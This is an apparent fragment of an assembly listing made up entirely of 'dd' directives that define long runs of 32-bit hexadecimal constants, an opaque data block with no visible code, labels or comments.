dd 0E68D87E3h, 0A2353A96h, 4E37EB7Eh, 0A38DF7EDh, 15FB0823h
dd 4D52303Ah, 3E4D739Eh, 0F7FD4D62h, 8002444Eh, 4B6073C0h
dd 260D8042h, 26280871h, 1880D505h, 826C26B7h, 61D61A61h
dd 0E0816815h, 451327B3h, 81E6233Eh, 2228D00Fh, 53EE28F8h
dd 3F152029h, 3273062Eh, 0F63682C7h, 504482FEh, 83383583h
dd 5C05A830h, 78358320h, 83B05A83h, 57071837h, 7450660h
dd 2C984084h, 4B74B927h, 0E41B8437h, 84A54D54h, 0DB84A2D2h
dd 0A84E07E2h, 75793507h, 24120758h, 993C75D1h, 12985842h
dd 3012A2F6h, 843E7651h, 66E2F913h, 6E86A76Ch, 0F4420A65h
dd 0A71DD76h, 7067A86Eh, 90B57738h, 68330E36h, 7895A878h
dd 0A1631AA8h, 5BC15E87h, 7C5BB5BBh, 0E87F1AA8h, 88316D31h
dd 2417978Bh, 859058E3h, 88959319h, 9269B795h, 69743418h
dd 32E89297h, 9D89B6ABh, 47A84881h, 8A91B36Bh, 0AA6B65B1h
dd 45C28AD8h, 15E0BF1Bh, 0A08B48B1h, 0B5BF19E4h, 5BD3695Bh
dd 0C65B36C7h, 0D3735C85h, 6CF8C16Ch, 0C36D01E2h, 209F1E58h
dd 6D95D25Dh, 835D499Eh, 60921EF3h, 8CA1F75Dh, 0CD08E6E1h
dd 0F2086E38h, 9AF08307h, 0D207C237h, 0D2147DB8h, 770877Dh
dd 87209087h, 0FEDA8D80h, 0A7EA7E74h, 820837Eh, 0C28DE206h
dd 39C69C39h, 7EE8DC23h, 0FA3AF3ABh, 34EC9CD5h, 8EB5FF22h
dd 13BA070h, 0F0650606h, 8033BD8Eh, 0F49DC4FCh, 426060F8h
dd 80D26471h, 0FC8FA8F9h, 0F61A0398h, 61D61902h, 1127B816h
dd 581C27C5h, 6283E728h, 2C821909h, 29972D7h, 8452291h
dd 0FD917912h, 0D8329189h, 83482A06h, 1C91B82Fh, 0F830A049h
dd 83607182h, 39923057h, 0A0F92A8h, 6864CA1h, 3354E841h
dd 5A17A169h, 7A93893h, 506567DBh, 0D5601148h, 42F12393h
dd 3108F131h, 85659411h, 94643866h, 6D949133h, 0D77076F7h
dd 95195113h, 541DA8C0h
dd 0B8733069h, 0BB0B30Bh, 5B959454h, 0F166A3E9h, 78458487h
dd 6068C68Ch, 7831AA1h, 98B7B84Ah, 934634A0h, 40CC8836h
dd 0CE5A917h, 0A21990CEh, 0A18F9705h, 5A05A188h, 0A00D2977h
dd 9A5FA5C7h, 8A197B6Ah, 7F8A26B2h, 86FE3589h, 96B69809h
dd 0A687B035h, 5D1AF358h, 498CA4B1h, 0A6D3696Ch, 0B549635Ah
dd 75C78BC0h, 9981DD99h, 9F8C35CCh, 0E9A299D0h, 4BE99F4Bh
dd 996DB383h, 338B6DF0h, 2034C609h, 0CF8CE9ACh, 78D23938h
dd 3937DB08h, 895E29BFh, 907F0890h, 0A98233A9h, 9F08A07Fh
dd 2A9F083Ah, 8AAA3AAh, 0A0AA5205h, 22354CCAh, 6FB3A59Ch
dd 0FF9CF6FBh, 4ED2276h, 7F89D122h, 0F14F03B5h, 0C4F10654h
dd 6906906h, 690659D8h, 5D24F0h, 5E9DA3Ch, 0FB8F2050h
dd 53C925B4h, 460468Fh, 204604Ch, 1AD1ACC5h, 9E4040ADh
dd 0FB039263h, 0E61A8FD8h, 61F9EB8Fh, 4512ADDh, 0A2889069h
dd 9F490801h, 0B00951Ah, 13F051D9h, 9FB73052h, 359FE82Ah
dd 1AF106E8h, 0AF4AF3A0h, 0F283106Dh, 0EAF9AF1Ah, 6E06D06h
dd 0F8AFC05Ah, 1A0CA01Ah, 73E21474h, 41B06A11h, 90760668h
dd 0B0CA17B0h, 35076934h, 1910FE59h, 42E2A19Ah, 75893A42h
dd 19430A20h, 0C566430Bh, 130439B1h, 2CA2B767h, 0F86A867Ah
dd 86C94B66h, 76144302h, 8A361DB5h, 0A3A1D614h, 3F87649Bh
dd 0E584165Ah, 0A400C577h, 8C6C4A41h, 1A709616h, 31CB3DA7h
dd 755880CBh, 178E9691h, 0A555A9A5h, 72186343h, 0B4A5939h
dd 79D79AA6h, 0D80D818Fh, 0DB521890h, 0A62A5CB4h, 0AA48B89Eh
dd 0F9815B07h, 35C5B01Ch, 0B1A6EA75h, 0B98B0C61h, 9925BF5Ah
dd 0BB993992h, 0D8BDA781h, 7C67C56Ch, 0E399E99Ch, 99E9A21h
dd 0A85A844Ch, 89387386h, 0CA8B389Ah, 6E29AB8Ch, 0AF38F206h
dd 0C3929B09h, 7DD20B07h, 0BA9BA9B3h, 922820B9h, 393B8C22h
dd 897EDA99h, 59C79C30h, 0B949C720h, 0C79C8390h, 0C9CD8E09h
dd 6FB3A66Fh, 0D823C223h, 58E723E4h, 24770506h, 0F10694F0h
dd 106C70B4h, 4FC70D8Fh, 0C525560Bh, 0C9DF60E3h, 9E47163Ch
dd 69AD5613h, 1B8FB2FEh, 79EB9E87h, 3E0ADE27h, 0E2724022h
dd 8626AE13h, 9F690A90h, 30AEB90Eh, 0B0840977h, 0BD0AFA9Fh
dd 0CEAFBAFFh, 1BCEBD4Bh, 0BD7BD4A0h, 84A92BD4h, 0EBDDA920h
dd 6E087BDh, 80071BDDh, 6080BE30h, 0BE6BE7BEh, 0E4BE808Dh
dd 0EBED08DBh, 0BF0BEFBEh, 35B12BF1h, 1B1208D9h, 0BF8560BFh
dd 3F860560h, 0A86443F4h, 0B24B2594h, 2C00C01h, 0F0AA0A5Ch
dd 8715CA76h, 568BD44Ah, 7A3A3699h, 0B30B914h, 1615677Eh
dd 6A416C03h, 0C5C17C1h, 4387F174h, 7584C1CBh, 0A640C50Ch
dd 8F1A3C21h, 0E31F96B5h, 96E1A158h, 29A540D0h, 0C330B493h
dd 0DB974B4h, 330DB186h, 417DC34Ch, 0C38C37C3h, 396A6C38h
dd 0C0D8C37Ch, 0C40C3FC3h, 55C41C41h, 10D1192Bh, 0C488A50Dh
dd 0C61AE352h, 0E6B50C60h, 0C494A4A6h, 0D10C734Eh, 6C4619E0h
dd 34DC57C5h, 0A5C4C0C8h, 0F355B631h, 3595BD48h, 0FE8B61B2h
dd 0B6C63364h, 70B65C88h, 0AB0AF99h, 6B0AA0ABh, 0C6FC6ECh
dd 0AEC6BC7h, 6EC730ABh, 709C0AECh, 0B741F4C7h, 859A35D3h
dd 6D56D4Ah, 1EAC81C8h, 85C84094h, 4C87C86Ch, 6E28D2C8h
dd 0CAA8E094h, 0FC8F1F84h, 921F6C8h, 0F16D96D8h, 66D5C941h
dd 8C61E98Ch, 0A909DC9Bh, 0D7D37D29h, 1FC08C1Fh, 0ADA985DFh
dd 0AB832099h, 7B22C8Dh, 0ED23DAB1h, 0DAB723C4h, 8EE0745Fh
dd 0C424324Eh, 8251605Ah, 4FA70DCBh, 0BDAD24FEh, 903CCBDCh
dd 0CC2CC161h, 3002603Ch, 603027C0h, 31030CCh, 31031CC6h
dd 0CCF01A0h, 1FCD0CDh, 0CFCD3CCFh, 0AAE300FCh, 3EEAE890h
dd 0CD29AAEAh, 0CDF0BC0h, 0CE2CE1CEh, 0E1CE4CE3h, 0C0BC0BFCh
dd 0CE9CE77Ah, 0CF9878A7h, 0C6C2C4C1h, 0CF10BDC4h, 0F5CF4CEFh
dd 6CF7CF6Ch, 0C90C90Ch, 0FDCFAC4Ch, 0F1A1CFACh, 0C57C55CFh
dd 5D04D03h, 0AC57D06Dh, 0DAC560Dh, 0D0FECD0Bh, 0B0DBD0Ch
dd 20DAC34Dh, 0DEC34C4h, 16C330DEh, 0AD150DBDh, 0D1CD1BD1h
dd 0E30DED1Dh, 3D21D200h, 0D240E50Eh, 27D26D25h, 5D29D28Dh
dd 0D280DF0Eh, 2FD2ED22h, 30E5D20Dh, 0D2CD2AD2h, 29D36D2Ah
dd 9D380E9Dh, 0D3CD3B0Eh, 3FD3ED3Dh, 2D41D40Dh, 0E8D41D4h
dd 3BD45D45h, 8D480E8Dh, 0E9D49D4h, 46D3DD47h, 3D43D4CDh
dd 0D50D49D4h, 4ED3CD51h, 8D54D57Dh, 0E8D240Eh, 5ED5E0E6h
dd 2D610E2Dh, 0D64D63D6h, 67D66D65h, 0AD69D5FDh, 0D6C0E4D6h
dd 6C0E9D6Ch, 0E0E40E6Dh, 0D70D6DD5h, 0E6D6AD71h, 60E20E30h
dd 0D7CD670Eh, 7FD1ED61h, 0D13D1DDh, 0C3359AC4h, 3BC3A0D6h
dd 318CD84Ch, 18B473C3h, 74C440DBh, 40D2C469h, 481979D0h
dd 44D96D8Fh, 0E7A33463h, 176C2596h, 1F5AB0CAh, 1D9E0C73h
dd 0C71AADAh, 0B90CA7B9h, 615E95F7h, 0DACDAB0Bh, 0ACDAEDADh
dd 1DAC0B4Dh, 1DDC6FC7h, 9F0FEABh, 0B9B73C6Bh, 809D99EDh
dd 8899E1Fh, 8E088DBFh, 538DDC00h, 5BAF5AFh, 5BDC8DC7h
dd 0ADCA0430h, 0DCE63ADCh, 0D1CCD043h, 1DD1DD2Dh, 0D901ACDh
dd 0D9DD8CE5h, 0CCEBDD8Dh, 5C2B5CDDh, 0F2CF6CF3h, 7DE3CF8Ch
dd 0DE6CFECFh, 0C919ECFDh, 7C53C460h, 0DEEDEDD0h, 90D1DEFh
dd 2D10D0DDh, 0D82D12D1h, 16D19D14h, 0EDFBD80Dh, 0DFE0DF0Dh
dd 0E3D35DFFh, 5D36DFE0h, 0E00D28D3h, 30D23E05h, 0BD21E0ADh
dd 0E07D25D2h, 0D20D26h, 5E13D37Eh, 0E16D52D2h, 59E18E17h
dd 7E1AD46Dh, 0D56D4CD4h, 4FD58D4Bh, 5D43E20Dh, 0E1BD4D0Eh
dd 5AD5B0E5h, 5E26D4DDh, 0D69D27D4h, 31E30D7Dh, 50E2E32Eh
dd 0E3D5E0Eh, 71D6FD74h, 3D74D70Dh, 0D61E2F0Eh, 0DED63D60h
dd 0CD7DE410h, 0DF7D1ADFh, 89D82E47h, 74790DB1h, 18018AD9h
dd 80343D99h, 10CFC561h, 0D03E540Dh, 0A5C540C8h, 3A63E551h
dd 347A63C2h, 0E50E50FEh, 81345D95h, 0D8866964h, 0D9D0CC96h
dd 0A1DA25A7h, 0D321321Dh, 0DA50C298h, 8B1A1E70h, 6DA99629h
dd 0BA0B615h, 7AE7ADAFh, 0EDAB0AFEh, 0AFDAB0Ah, 701DCC75h
dd 0B72DB5Ch, 0B734B7A8h, 0C6C906D5h, 0CDC2DBF4h, 0A01DC5A8h
dd 5ADC7DC9h, 0FDCBDC70h, 0DD3DCFDCh, 0D5CCEE99h, 0ACDE0D9Dh
dd 196CE0DDh, 9EE9E0BCh, 679EEA2Eh, 0EA60C819h, 0A8CDF1AEh
dd 0D7AB1B1Eh, 0C51EAF1Ah, 4EEB2C5Ah, 0B1A60C63h, 0DE4DE4C5h
dd 0B2CFCCFBh, 1A10C96h, 0DEFEBFDFh, 0F3DF1D0Bh, 8D0FD0DDh
dd 0DF9D19E4h, 0E3D1EE45h, 5D2FD1A0h, 0E14D31D2h, 31D2DED1h
dd 2D22E0BDh, 0ED7D2DEDh, 0DAD3BD24h, 0EEDDE19Eh, 0D3EE22EDh
dd 53E1FD55h, 6D40D50Dh, 0D3FE1BD5h, 4AEE5E1Dh, 0BD55D51Dh
dd 0E28D39E2h, 33E3ED5Dh, 0FD62EF4Eh, 0D5EE3FD5h, 74D73D5Bh
dd 2E3BD77Dh, 0D6AE3BD7h, 0E2D7BE3Dh, 0BEF4D790h, 0FEA0E2D1h
dd 0D19D1BECh, 86D13C3Eh, 0F0EE4BDh, 0D87F0EF1h, 12C3933Ah
dd 0DA5B473Fh, 0D10CDE4h, 92F1B18Fh, 2D03F1BDh, 0B4DE4DE6h
dd 6B17FB57h, 0DDA05A89h, 0A64E6DE6h, 8EDA7A71h, 0BE78E769h
dd 0DB1DADE7h, 0B3DAEDB1h, 0BC6DC6EDh, 0C6E0A30Ah, 9DDBBDBAh
dd 0E09399E0h, 0DC0DC3DBh, 72DC4DC1h, 2F46AF50h, 0E9405BE9h
dd 3AE97E95h, 5DD2E9A6h, 0DD7DD6DDh, 55CDECDFh, 8F57EA6Fh
dd 0F5AF59F5h, 5DEB1EA7h, 5C49F5EFh, 0EB8C5AEBh, 0C0DECDEBh
dd 8EC4DEDEh, 0D0EF69F6h, 9D14EC7h, 0DECCDFBFh, 0E10E0AECh
dd 40D28E15h, 0DD39E25Dh, 0F7AE25D3h, 37EDAD3Ah, 7EDBF78Dh
dd 0D26D3CEDh, 0EAD42EDFh
dd 9F87F860h, 0F86F870Eh, 8AF88D3Bh, 7F8FF8EFh, 0E8D4EF8h
dd 46EEE0EAh, 1F96F8EDh, 0E1EF93F9h, 0E3F8FF93h, 2E2AE18Eh
dd 0EEBEE8F9h, 3D77D46h, 6D66EF5Fh, 0EF9FA5FAh, 0E9D5ED4Eh
dd 0DD3BD5F0h, 0DDFE3FFAh, 0D69D76D6h, 20D5FD72h, 6D6AFAADh
dd 0E42D2FEFh, 1EF6EFBDh, 0FE07C34Dh, 0DF33ADFh, 11DFEFC4h
dd 0BC37D84Fh, 0D2C3FC3h, 8FD8BD8Bh, 118AF1DDh, 0FD4F22FDh
dd 7D47FA5Fh, 396E19A4h, 0F255A818h, 9EF2AD9Dh, 0BDA3E6BDh
dd 0DAAE76A4h, 0ABFE6F31h, 0FF360B60h, 4BAF3CC6h, 0EFF43DB9h
dd 2088202Fh, 6DF4607h, 0F5FF3FF3h, 0BDC8072Fh, 0F4DF4CF4h
dd 31033F4Fh, 62331000h, 3050D0C4h, 0CD66C1DBh, 984C2610h
dd 86C2A18Dh, 6C3A0F0Ah, 45E1ED86h, 221F198Ch, 5AB1C8E3h
dd 451F6435h, 0B1D8FC86h, 1D9347A4h, 93C8A3Dh, 96345AB2h
dd 8CBD8CD5h, 0CD266D16h, 0EE75399Ah, 5B4DA9CCh, 853E9FCFh
dd 743A250Eh, 0DBA451DBh, 7A6525B4h, 0A853DBD4h, 9D4EA551h
dd 379C6E3Ah, 6EB559ABh, 0DCAE4AB5h, 0D2E972D7h, 0D62B2391h
dd 69B459ECh, 1B65AED5h, 0B65B9D36h, 95CEE571h, 5DEECEABh
dd 0F579FEBCh, 0D7DBE5EEh, 0E8BC3A2Eh, 2C260F04h, 0C1E01D78h
dd 562B137Fh, 58AF3827h, 0A2C59075h, 3279474Bh, 0D193C165h
dd 0CE6CE616h, 0A1CF3A33h, 57139B45h, 0D367B4DAh, 1E8F46E2h
dd 0DAB099FCh, 79C971CCh, 0AC8E6D9Eh, 73A1B139h, 0DB4DE6AFh
dd 5C7156B3h, 5A937E9Fh, 0A9B8AA3Ah, 672B88DFh, 0F3F9DCDEh
dd 4BA4D6E7h, 7A5D36FFh, 91D9EC53h, 0D2A6B4Ah, 0E169771Bh
dd 1F051FBFh, 0F479FCDEh, 67AFB5E9h, 7A7CBEBFh, 3FCFF1F8h
dd 0FEDF5FA3h, 99F5667Dh, 4CC67FE5h, 0FCFFFED9h, 63C06653h
dd 18463994h, 70440A61h, 0D1750641h, 23071845h, 9C27094h
dd 4225B16Dh, 0D0D4330Bh, 0F43A5596h, 3F0FC3F0h, 12447111h
dd 44E44449h, 0E4245114h, 70E44244h, 0B71845F1h, 2DC67190h
dd 88B1B086h, 71B46C22h, 0F0671E20h, 8810631h, 222260D2h
dd 0C8F2348Bh, 899B083h, 749B261Bh, 0A12849F2h, 9B06ACFEh
dd 0F2B4AA98h, 8CB32C4Ah, 7899A609h, 0A29A32F2h, 294A24C2h
dd 0CA5296A4h, 71BCF5A7h, 0DB362A8Ah, 0AE384A84h, 9C8B22B2h
dd 13ACE871h, 0A1C8B12Ch, 0FB3E4F6Bh, 0BACFF3F4h, 507412FCh
dd 0EC02EF42h, 551275AEh, 19459D14h, 47513455h, 0D0EBDD15h
dd 0AC2D08C6h, 731D4A31h, 3ACB530Ch, 5037AD03h, 0D42D7305h
dd 0EC2B414Fh, 42F4CE2Ch, 74B1B3CBh, 0CAD44DCBh, 5414FD44h
dd 6DBCE6DBh, 2AB2731Ch, 86E62B47h, 0A8B946F3h, 3975FB88h
dd 0F6358AE8h, 53DAE6D8h, 0B7273DB6h, 685966C1h, 0BDB695A3h
dd 0EF91B6F7h, 79A4FB5Ah, 0BAFBDB46h, 6FDBEFDDh, 0C0D01C0Bh
dd 0F7318F02h, 85D30640h, 0DB0A41F0h, 0CC37775h, 0C3D79441h
dd 3115EB12h, 945714C5h, 0FB1845A3h, 2D468395h, 4711C0B6h
dd 22C731Dh, 0FC7C81C8h, 0C00D0671h, 8861F241h, 62728C97h
dd 8914A58Ah, 0D6332D49h, 0FE8FA6B2h, 4BD2DE38h, 7314C09Fh
dd 6CD0A5E4h, 0DC6DCD4Ah, 0AC657954h, 0CECAD4E2h, 6B1CE73Ah
dd 4F55B2Ch, 20C7AD94h, 9E66EC8Bh, 67F42D01h, 475E83A0h
dd 368B47AFh, 12BDE8DAh, 41E86BB5h, 0B174E553h, 8CEB39A7h
dd 0EA4D5D6h, 0A473544Dh, 0AD310C4Eh, 0B4149D29h, 0CCBB06D9h
dd 1B094F2Ch, 0C19AE6ADh, 0B52C071Ah, 1C75CABFh, 7641C4E7h
dd 0C591BA6Eh, 9F69650Eh, 35EF769Dh, 0DA7BF6F9h, 0CFA7036Bh
dd 0B5B8FABCh, 0FAFEBF6Fh, 735C301Bh, 5D573DC9h, 0B775D9C8h
dd 9C377842h, 477B4417h, 1513E444h, 5F8425F3h, 31945D7Fh
dd 36071960h, 5385607Dh, 871C120Fh, 75987621h, 7D9763D8h
dd 1C5D976h, 0C5D676C7h, 277778A9h, 0A446ECB1h, 491635DFh
dd 12852C9Bh, 0C5336499h, 0E665935Ch, 0E5CA8AABh, 7B44E938h
dd 0B4F8B2FAh, 76C8ACEBh, 9DFB7A0Eh, 1D3EDACDh, 478681EEh
dd 37CA781Dh, 0F2FEFC9Fh, 7D6769D5h, 7F77DBF6h, 9511F57Dh
dd 0D5A5697Fh, 0A3FD675Fh, 7DDA37F3h, 9A19D549h, 0AFFD4169h
dd 1A53FE7Eh, 0A8F804D3h, 6AAD51AEh, 0A9959B58h, 0FA35A81Ch
dd 4830C61Dh, 14606033h, 0B9AD35B3h, 3AAE6CC6h, 656A6E0Bh
dd 85BCAF96h, 5B60E66Dh, 42539509h, 1CA73214h, 0AF616375h
dd 0A732B57Eh, 6A2930C4h, 9E524A7Ah, 0A5BD1474h, 12C34D2Ch
dd 87CF356h, 0EDE0A615h, 8F39D96Fh, 0C47702B5h, 3E8E1D6Eh
dd 0B9C662E0h, 444E89Ch, 0B720B99h, 2A839C9Ah, 0D1CBA1C7h
dd 439C732Bh, 85F225C4h, 22211588h, 11A2FF74h, 3A774E8Dh
dd 66409D5h, 911D60E8h, 3846F768h, 0A98E51C6h, 531D63A1h
dd 30D28D83h, 0E8D834C9h, 0F8F0EE86h, 52046EA4h, 6AC8190h
dd 0C8290721h, 790374A1h, 0C946F14Bh, 4843F652h, 922ACCB6h
dd 0EA9C9E84h, 95EA3314h, 0CB3666C5h, 17B29ED3h, 5286503Eh
dd 83DCFE94h, 0F7CAFBC7h, 0CFB6543Eh, 9F64AB1Dh, 0EF7D83Bh
dd 9643BE54h, 2D6593EBh, 5C4B796Dh, 0ED96B2E6h, 532CE580h
dd 1FB8ED9h, 17880B3h, 0E7E8D120h, 6D4DAEA8h, 0C2B5956h
dd 0C123386Fh, 80A61D48h, 0FE1A5CC5h, 9B47808h, 51534D0Eh
dd 7AAC664Bh, 94B116F6h, 0C283283h, 69CD390Bh, 0F0AE13CEh
dd 0D63CEA1Bh, 2C058470h, 92324677h, 7421E1CBh, 624F02A0h
dd 0F079AAF9h, 6B0F536Ch, 0BD684438h, 49E85B07h, 0F5BF12E2h
dd 0F135739Fh, 90538E89h, 8C1174BAh, 18230576h, 2AE2CC57h
dd 162F78B6h, 72453181h, 0CB18E310h, 0A233BA58h, 8472754Eh
dd 975860A3h, 149A934Ch, 0A385291Ch, 52FA5D1Dh, 8FB1D298h
dd 21C71533h, 4448AA6Dh, 3F9E498Ah, 2B250ACCh, 74B215B9h
dd 52B69325h, 0A671270Bh, 528DF033h, 0AA654BA9h, 0BE67CC5Dh
dd 0AA553DF5h, 55655CADh, 5E556AADh, 0AD9583BEh, 3BAAD4FEh
dd 5D55E972h, 611D92DEh, 0D92EAB25h, 2477A8F7h, 0C56A984Ah
dd 71DB2D1Fh, 60DA2CDh, 9ABC1B9Ah, 3596ACD9h, 7FED6A66h
dd 5B2ACCC2h, 0B3CC195Fh, 8AE0A3Eh, 0E6601464h, 620B4C9Ah
dd 59AF4F66h, 88405C0Bh, 539E1127h, 0E75B6CB2h, 4F76EA57h
dd 39037A7Eh, 53ECD1C8h, 0D359A38Ch, 0A2B3D674h, 5966217Dh
dd 0E5624EC8h, 71589F33h, 158B0BE1h, 0E9B27BACh, 28015191h
dd 9F288E76h, 3EA31E82h, 0E34FEDBAh, 71A06408h, 108A880Dh
dd 8D716895h, 5A898B6Bh, 58A843CEh, 0BA2D7305h, 14662EC5h
dd 0D7F51D5Fh, 52160547h, 671A51Ch, 39C740E7h, 0EFDDFBBCh
dd 0E31D9776h, 903B2F25h, 0A546CD19h, 4D289A57h, 0F814A8E0h
dd 86A8D0DEh, 4719A434h, 53EBEB4Ch, 0A8350AA0h, 7F6FE543h
dd 0B43D3665h, 0DB324F5Ch, 0DEFA9F83h, 0B703605Ah, 0BCAA95C3h
dd 0FC1D836Ah, 58470860h, 0FE8613C2h, 69563C30h, 3858773Eh
dd 0DF2D52C3h, 61FC3985h, 0C4188710h, 897120F1h, 13627C4Dh
dd 2BC5153Fh, 58F97166h, 0C65AE2FCh, 7D65C623h, 7C698C87h
dd 4A271A63h, 31C0EB96h, 55FAAB8Eh, 0C7B582B2h, 2C255D61h
dd 0FEE06B03h, 799A8FCDh, 9328B259h, 58CD977Ah, 136332A6h
dd 233394DBh, 595A6F35h, 9B229D6Ch, 0E022E994h, 2E39866Fh
dd 0AACA593h, 159CD84Fh, 7F9230F2h, 0A7C6813h, 2AE0A02Ah
dd 0A673B8C3h, 7CEC2A33h, 2F05467h, 0B3B67BCFh, 884CFC21h
dd 0FA21B3Fh, 0E8341E83h, 3185B462h, 0F31EB47Ch, 1DA37460h
dd 334868FDh, 768B1EBAh, 7D23A534h, 0FA674C69h, 8798F2D2h
dd 68CD3C3Ch, 0D45A7B4Eh
dd 0A97526A3h, 51EA7D4Dh, 0F4D543D3h, 5BAA8790h, 0AC7769EDh
dd 0A6ABD5BAh, 7D6DAD75h, 0DAAB5C6Bh, 3466B4D1h, 695D7A3Dh
dd 0D85A4C7Ah, 3E07AEC3h, 616C7D8Ch, 0C9D8BB1Bh, 0B1FE47C6h
dd 680F61F1h, 0C7DA5B47h, 0F23E36A6h, 5F6B0F91h, 0D6D9DB5Bh
dd 0FDBDB776h, 5B87706Dh, 7726E3DCh, 8FA1F5B7h, 1F23EF6Bh
dd 0B9C7D8FBh, 77EEFDD9h, 0FADD83F7h, 0EDBD7780h, 0AB7C6F7Dh
dd 0CEEBDD5Bh, 0DDFDBF77h, 0BBBF6D6Fh, 782703DCh, 707DA5C1h
dd 1F3B4384h, 0C37828F6h, 6F70FE1Dh, 13E13C33h, 0EDC578A7h
dd 0B840F51h, 2717E2FBh, 0CE31C776h, 5C878F71h, 0B92723E4h
dd 71BE39C8h, 0DA3C2F8Bh, 0CB78B6D7h, 49F07E5Dh, 0C4E4BCB7h
dd 29CCF66Eh, 0FB48E93Dh, 0D6BFD57Ah, 0FE7DCF74h, 23CF1268h
dd 717E8C1Eh, 5E51E3D1h, 0BCBD27A4h, 387A65E0h, 0A80E1BBEh
dd 52EA5D47h, 2C3706E7h, 8479F3FDh, 0CF5AD25Ch, 7D17CDFAh
dd 9CF7AC75h, 3B269DD3h, 767ECDAAh, 0D463BC79h, 0AB47776Ah
dd 0B76B5957h, 72EDA3D3h, 0EBABB4F7h, 0EB9DEB9Eh, 0D6BBE79Ah
dd 0A1E7AD7Bh, 0BDFFBD6Bh, 79AF1ED2h, 4F0BFEB3h, 5A4F9A6Dh
dd 7B6C8D9h, 0EC6DA1B5h, 0F25B3FC7h, 0B63C9791h, 6AED9DBDh
dd 9BE21E5Bh, 0AFBB3CE7h, 9F776F4Dh, 379FF41Bh, 0DE03E937h
dd 7EA3CF6Dh, 37DFA9DFh, 6FCDE1B8h, 0F5FC3BD8h, 0EC77D6E9h
dd 71FABE03h, 0BAE55C33h, 59C1FDDFh, 2F96F2FEh, 570DF39Ch
dd 7F81EEB8h, 7B0F93FCh, 7E6736E3h, 7CFF9DF3h, 0E63F47E8h
dd 0CDB98F20h, 9AFCEFA9h, 8AF0DB0Fh, 21CCF647h, 74B75FDh
dd 0E69AEC3Eh, 0D1DADB5h, 0FFA3460Fh, 0BA3746D2h, 5E3FDDD2h
dd 1CE3B2EFh, 0D3FA67F0h, 70FF7EA7h, 0FBFF5D54h, 1FCE3FE7h
dd 9B697D0Dh, 0B91B933Eh, 0ABB9C3AEh, 83F1B613h, 34EB4FB4h
dd 0BBC06BB4h, 0F3BC3593h, 0B5C3BFBBh, 0BF409C09h, 53B0B5F3h
dd 0B6087AB5h, 0C33ED402h, 5B6540FBh, 0BC536736h, 96BC838Dh
dd 0B3CB363Bh, 372B6336h, 173E1B6Eh, 137DBCDCh, 0B7FB7A3Dh
dd 7B376B79h, 8B80419Bh, 0DC1A3DFEh, 0BDA37BC1h, 75BD4BD7h
dd 0FC21417Bh, 3E138436h, 24421B85h, 9423C24Ch, 0C26BE438h
dd 8C38FB84h, 93E54283h, 3EABEBC2h, 1B68B8Dh, 0C38F42B4h
dd 3E442BC2h, 8AC2F36Dh, 0FBE03DEBh, 42E42E38h, 8EBECBE6h
dd 4044343h, 0BF340C3Bh, 4C0C3F1h, 13A1B48Ch, 0B133F63Ah
dd 0FABF7BF7h, 0F3A82F03h, 0BA8BFC2Eh, 0FE3FCBAAh, 0EC2A86E3h
dd 87BB8442h, 9942707Bh, 8BE6C41Bh, 350B46C3h, 53406351h
dd 13B1B4C3h, 40940B3Fh, 4C39D3C1h, 8BC0408Ch, 40EBAFB4h
dd 6ABECC11h, 7C133913h, 36AB9736h, 15B6FB6Ah, 4382C24Ch
dd 4563CFB7h, 19456371h, 0B458C58Ch, 0B7CB7741h, 5C45B87Eh
dd 0C87DB794h, 0C5EC5E45h, 7945DC5Ch, 145B45D3h, 0C5EB7B46h
dd 6446045Dh, 9C5D4604h, 4663D041h, 0D9C67C1Eh, 8BCEC553h
dd 45946641h, 6F45746Bh, 0DC6946C3h, 0C23B87C6h, 27423388h
dd 0FE4436ECh, 64313694h, 46E47339h, 313DE474h, 83E9B89Ch
dd 0BE7433B9h, 5EBFF346h, 8C4635E3h, 0B12C3AC3h, 0F8BF743Bh
dd 0EBFB43CBh, 86E3AA43h, 43B69443h, 207C87BCh, 44348348h
dd 6F482484h, 0ABE1C853h, 0BE842938h, 7AC88BACh, 6BB1B504h
dd 0C79C3834h, 0BC479B5Dh, 0AC0DB5FBh, 48EBC1C4h, 35365BECh
dd 9384C324h, 3CBBCCBCh, 0CDC14371h, 0B87CB73Bh, 0C6BC9746h
dd 77BD0376h, 0AC99BD13h, 0C5AB7841h, 7846237Ah, 0EC9E45F3h
dd 49FC9F49h, 0A14A0CA0h, 9C5F4A1Ch, 7E87D37h, 6ACA4419h
dd 54A5373Ch, 0C7446BCAh, 0A6C9746Ch, 6CA645CCh, 0CA7C97CAh
dd 9A36D4A7h, 746D498Ch, 3D6BD6C1h, 6FCB0BDAh, 2CA84863h
dd 0CB3CB34Bh, 0DE3E33CDh, 7BDFBE33h, 3AE3E939h, 0B0C89C79h
dd 0CB1247BBh, 47E3A447h, 0A847F43Dh, 0B48487DBh, 0B75C8487h
dd 2046807Bh, 646DC204h, 44543342h, 7AB4ABAEh, 38FE44ECh
dd 7B5B3624h, 0C52433CBh, 0C9383C00h, 0D453B95Ch, 0B87C93BCh
dd 0CE4CDCABh, 0E376C594h, 45BC5887h, 0A645BB76h, 0E45C3D0Ch
dd 4D4CA207h, 0D64D5CD5h, 5CD74D6Ch, 0C6B4D2CDh, 58456C56h
dd 0FC6CC96Ch, 4A246B36h, 0D407E4D4h, 0FCDE87ECh, 4DE4DE4Dh
dd 0CECAAC5Ch, 0B3D0CE2Ch, 0B8141EC9h, 7E41F420h, 0ACE74C13h
dd 0BDB4C23Dh, 1C4674B3h, 0BC98C9ACh, 37FCEB4Eh, 19CA349Ch
dd 44964AD4h, 3D33D137h, 724224B4h, 0EB8CC75Ch, 0C34B6838h
dd 0B94C4C91h, 63F634D4h, 0CBB3A387h, 0A74BC3A4h, 2CE7BA9Bh
dd 0C9CC9D46h, 7E37A37Bh, 6486CAEBh, 4C442847h, 0E6D01CC8h
dd 93E04CABh, 0C16B6BCCh, 81BCD494h, 3496C193h, 4E0C58CEh
dd 0D04E087Dh, 0A50A509Ch, 0CE0CDF50h, 0E50DCD7h, 0FD0F50EDh
dd 4AA51050h, 9F4E3508h, 34A04DECh, 0D0BC5BD1h, 0E145CD0Bh
dd 0FCD3CDF4h, 0CD5514CDh, 0ADD114A3h, 1B4FFEBCh, 5C1F41A5h
dd 4E6C1EBDh, 5D41C51Bh, 1C9F51FCh, 0D214D7CDh, 0FD4FCC5Fh
dd 6C1937C4h, 4B0496B7h, 0C34B446Ah, 83E5C31Ch, 0C394F6C8h
dd 0BBCF94F7h, 33A747E4h, 0CD6B7BD2h, 0E245F4AAh, 14975074h
dd 4F33E24Fh, 11D32D02h, 43EEB674h, 0C9536EC4h, 0F04573E1h
